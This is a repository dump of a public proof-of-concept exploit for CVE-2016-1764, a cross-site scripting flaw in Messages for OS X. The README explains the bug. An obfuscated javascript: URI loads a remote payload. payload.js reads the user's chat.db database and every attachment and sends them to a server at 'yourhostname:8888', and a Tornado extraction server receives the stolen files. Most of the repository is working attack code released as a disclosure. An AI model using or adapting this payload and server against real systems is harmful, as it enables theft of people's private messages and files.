├── README.md ├── exploit_list.txt ├── extraction_server.py ├── images ├── etc_passwd.png ├── javascript_uri.png ├── messages.png ├── prompt.png └── webkit_origin.png └── payload.js /README.md: -------------------------------------------------------------------------------- 1 | # PoC Exploit Code for CVE-2016-1764 2 | ### Recovery of Plaintext iMessage Data Without Breaking Crypto 3 | 4 | ![](images/messages.png) 5 | 6 | ### Authors 7 | 8 | * [Shubham Shah](https://shubh.am/) from [Bishop Fox](http://bishopfox.com/) 9 | * [Joe DeMesy](https://github.com/moloch--) from [Bishop Fox](http://bishopfox.com/) 10 | * [Matthew Bryant](https://thehackerblog.com/) 11 | 12 | 13 | ## CVE-2016-1764 14 | **Vendor:** Apple 15 | 16 | **Release Date:** April 8, 2016 **Patch Date:** March 21, 2016 **Systems Affected:** Messages on OSX Mountain Yosemite, El Capitan 17 | 18 | While the majority of recent debate around Apple has been focused on cryptography, the industry and law enforcement seems to have forgotten that simpler, application-level vulnerabilities can be leveraged to forgo encryption altogether. CVE-2016-1764, which was fixed by Apple in March of 2016, is an application-layer bug that results in the remote disclosure of all message content and attachments in plaintext by exploiting the OS X iMessage client. Moreover, you do not need a graduate degree in mathematics to exploit it, nor does it require detailed knowledge of memory managment, shellcode, or intricate ASLR bypass ROP chains. In fact, it is a relatively simple bug that can be exploited by anyone with a basic knowledge of JavaScript. 19 | 20 | ## Technical TL;DR 21 | 22 | Messages (iMessage) for OS X from Apple, implements its user interface using an embedded version of WebKit, furthermore Messages on OS X will render any URI as a clickable HTML `/Library/Messages/*` 105 | 106 | The textual content of these messages and other metadata are stored within a SQLite database located at: 107 | 108 | `/Users//Library/Messages/chat.db` 109 | 110 | This database also contains the locations for all of the attachments that are located on a user's machine. 111 | 112 | In order to steal this database, and subsequently all of the attachments ever received or sent by a victim, a more advanced attack payload is needed. 113 | 114 | ### Exploit Overview 115 | 116 | The following steps need to be carried out before the data can be successfully exfiltrated by an attacker: 117 | 118 | 1. Gain initial JavaScript execution in the application DOM 119 | 2. Obtain the current user (again `~` cannot be used) 120 | 4. Using the username, generate a full path that for the `chat.db` file i.e. `/Users/ExampleUser/Library/Messages/chat.db` 121 | 5. Use `XMLHttpRequest` to read the `chat.db` database and query it for attachment's file paths 122 | 6. Upload the database and all attachments using `XMLHttpRequest` or WebSockets if you want realtime access. 123 | 124 | We can determine the currently logged in user by requesting, and subsequently parsing `/Library/Preferences/com.apple.loginwindow.plist`, this file is conviently readable from within the OS X application sandbox. From here it is trivial to construct the full path to the user's `chat.db`. 125 | 126 | Once the database file has been successfully exfiltrated, it can be passed to a custom server-side script which extracts the full paths of the attachments sent and received by the victim, found within the `attachments` table in the database. 127 | 128 | These full paths are retrieved by the malicious JavaScript payload and then are used to exfiltrate the attachment files from the victim's machine via `XMLHttpRequest`. 129 | 130 | 131 | Next the attacker does a little obfuscation to make the URL a little more believable: 132 | 133 | ``` 134 | javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29 135 | ``` 136 | 137 | If the victim were to click the above URI in the Messages for OS X application, the victim's entire chat history and all associated attachments will be sent to the attacker. 138 | 139 | 140 | ## Take Aways 141 | 142 | _JavaScript is Everywhere_ 143 | 144 | Web application security flaws are no longer limited to only the browser but rather have found their way into native applications too. While it can be productive for developers to use web technologies such as [WebKit](https://webkit.org/), or its far more dangerous kin [nw.js](http://nwjs.io/), to build desktop applications web application security best practices must still be followed. 145 | -------------------------------------------------------------------------------- /exploit_list.txt: -------------------------------------------------------------------------------- 1 | javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29 2 | -------------------------------------------------------------------------------- /extraction_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # 4 | # iMessage XSS Exploit Proof of Concept 5 | # CVE-2016-1764 6 | # 7 | # @authors: moloch, mandatory, and shubs 8 | # pylint: disable=W0223,W0221,C0111 9 | 10 | import tornado.options 11 | import tornado.web 12 | import sqlite3 13 | import json 14 | import os 15 | 16 | from tornado.ioloop import IOLoop 17 | from biplist import readPlist 18 | from cStringIO import StringIO 19 | 20 | 21 | class MainHandler(tornado.web.RequestHandler): 22 | 23 | """ Go away! """ 24 | 25 | def get(self): 26 | self.set_header("Server", "Totally Not a Malicious Server") 27 | self.set_status(404) 28 | self.write("Nothing to see here, move along.") 29 | 30 | 31 | class ExfiltrateHandler(tornado.web.RequestHandler): 32 | 33 | """ Handles the file uploads, with minimal user tracking """ 34 | 35 | EXFIL_PATH = os.path.abspath("./exfiltrated_files/") 36 | 37 | def post(self, username, filename): 38 | 39 | filename = filename.replace("/", "") 40 | filename = os.path.basename(filename) 41 | raw_data = self.request.body 42 | 43 | user = username + "_" + str(self.request.remote_ip).replace(".", "_") 44 | user_path = os.path.join(self.EXFIL_PATH, os.path.basename(user)) 45 | user_directory = os.path.join(os.getcwd(), user_path) 46 | 47 | if not os.path.isdir(user_directory): 48 | os.makedirs(user_directory) 49 | 50 | file_path = os.path.join(user_directory, filename) 51 | with open(file_path, "w") as file_handler: 52 | file_handler.write(raw_data) 53 | 54 | if filename.lower() == "chat.db": 55 | conn = sqlite3.connect(file_path) 56 | dbc = conn.cursor() 57 | dbc.execute("SELECT filename FROM attachment") 58 | filename_rows = [item[0] for item in dbc.fetchall()] 59 | final_list = [] 60 | for attachment_filename in filename_rows: 61 | attachment_filename = attachment_filename.replace("~", "") 62 | final_list.append(attachment_filename) 63 | conn.close() 64 | self.write(json.dumps(final_list)) 65 | 66 | 67 | class UserPlistHandler(tornado.web.RequestHandler): 68 | 69 | """ Parses the plist and returns the currently logged in user """ 70 | 71 | def post(self): 72 | plist = readPlist(StringIO(self.request.body)) 73 | self.set_header("Content-type", "text/plain") 74 | self.write(plist["lastUserName"]) 75 | 76 | 77 | def make_app(debug=False): 78 | return tornado.web.Application([ 79 | (r"/", MainHandler), 80 | (r"/plist", UserPlistHandler), 81 | (r"/f/(.*)", tornado.web.StaticFileHandler, {"path": "./static/"}), 82 | (r"/exfiltrate/([a-zA-Z0-9]+)/(.*)", ExfiltrateHandler), 83 | ], debug=debug) 84 | 85 | 86 | if __name__ == "__main__": 87 | tornado.options.parse_command_line() 88 | APP = make_app() 89 | APP.listen(8888) 90 | IOLoop.current().start() 91 | -------------------------------------------------------------------------------- /images/etc_passwd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/cve-2016-1764/0ca66b3d28e4d57d7c47517208373a056977fe6c/images/etc_passwd.png -------------------------------------------------------------------------------- /images/javascript_uri.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/cve-2016-1764/0ca66b3d28e4d57d7c47517208373a056977fe6c/images/javascript_uri.png -------------------------------------------------------------------------------- /images/messages.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/cve-2016-1764/0ca66b3d28e4d57d7c47517208373a056977fe6c/images/messages.png -------------------------------------------------------------------------------- /images/prompt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/cve-2016-1764/0ca66b3d28e4d57d7c47517208373a056977fe6c/images/prompt.png -------------------------------------------------------------------------------- /images/webkit_origin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/cve-2016-1764/0ca66b3d28e4d57d7c47517208373a056977fe6c/images/webkit_origin.png -------------------------------------------------------------------------------- /payload.js: -------------------------------------------------------------------------------- 1 | /* 2 | * iMessage Payload for CVE-2016-1764 3 | */ 4 | 5 | var exfil_server = "http://yourhostname:8888"; 6 | 7 | // Don't edit below this line 8 | var username = ""; 9 | function offload_to_server( data_buffer, path, callback ) { 10 | var xhr = new XMLHttpRequest(); 11 | xhr.onreadystatechange = function() { 12 | if (xhr.readyState == XMLHttpRequest.DONE) { 13 | callback( xhr.responseText ); 14 | } 15 | } 16 | var uri_path = exfil_server + "/" + path 17 | xhr.open( 'POST', uri_path, true ); 18 | xhr.send( data_buffer ); 19 | } 20 | 21 | function get_username( callback ) { 22 | var populate_xhr = new XMLHttpRequest(); 23 | populate_xhr.responseType = "arraybuffer"; 24 | populate_xhr.onreadystatechange = function() { 25 | if (populate_xhr.readyState == XMLHttpRequest.DONE) { 26 | offload_to_server( populate_xhr.response, 'plist', function( username ) { 27 | callback( username ); 28 | }); 29 | } 30 | } 31 | populate_xhr.open('GET', 'file:///Library/Preferences/com.apple.loginwindow.plist', true); 32 | populate_xhr.send(null); 33 | } 34 | 35 | function exfiltrate_file( filename, file_path ) { 36 | var xhr = new XMLHttpRequest(); 37 | xhr.responseType = "arraybuffer"; 38 | xhr.onreadystatechange = function() { 39 | if (xhr.readyState == XMLHttpRequest.DONE) { 40 | send_to_server( xhr.response, filename ); 41 | } 42 | } 43 | var uri_path = 'file:///Users/' + username + '/' + encodeURI( file_path ); 44 | xhr.open('GET', uri_path, true); 45 | xhr.send(null); 46 | } 47 | 48 | function send_to_server(db_array_buffer, filename) { 49 | console.log( filename ); 50 | var exfil_xhr = new XMLHttpRequest(); 51 | exfil_xhr.onreadystatechange = function() { 52 | if (exfil_xhr.readyState == XMLHttpRequest.DONE) { 53 | callback( exfil_xhr.responseText ); 54 | } 55 | } 56 | var uri_path = exfil_server + "/exfiltrate/" + username + "/" + filename + "/" 57 | exfil_xhr.open('POST', uri_path, true); 58 | exfil_xhr.send( db_array_buffer ); 59 | } 60 | 61 | function upload_chatdb() { 62 | var xhr = new XMLHttpRequest(); 63 | xhr.responseType = "arraybuffer"; 64 | xhr.onreadystatechange = function() { 65 | if (xhr.readyState == XMLHttpRequest.DONE) { 66 | offload_to_server( xhr.response, 'exfiltrate/' + username + '/chat.db/', function( attachment_list_json ){ 67 | var attachment_list = JSON.parse( attachment_list_json ); 68 | for( var i = 0; i < attachment_list.length; i++ ) { 69 | var file_parts = attachment_list[i].split( "/" ); 70 | exfiltrate_file( file_parts[ file_parts.length - 1 ], attachment_list[i] ); 71 | } 72 | }); 73 | } 74 | } 75 | var uri_path = 'file:///Users/' + username + '/Library/Messages/chat.db'; 76 | xhr.open('GET', uri_path, true); 77 | xhr.send(null); 78 | } 79 | 80 | get_username( function( in_username ) { 81 | username = in_username; 82 | upload_chatdb(); 83 | }); 84 | --------------------------------------------------------------------------------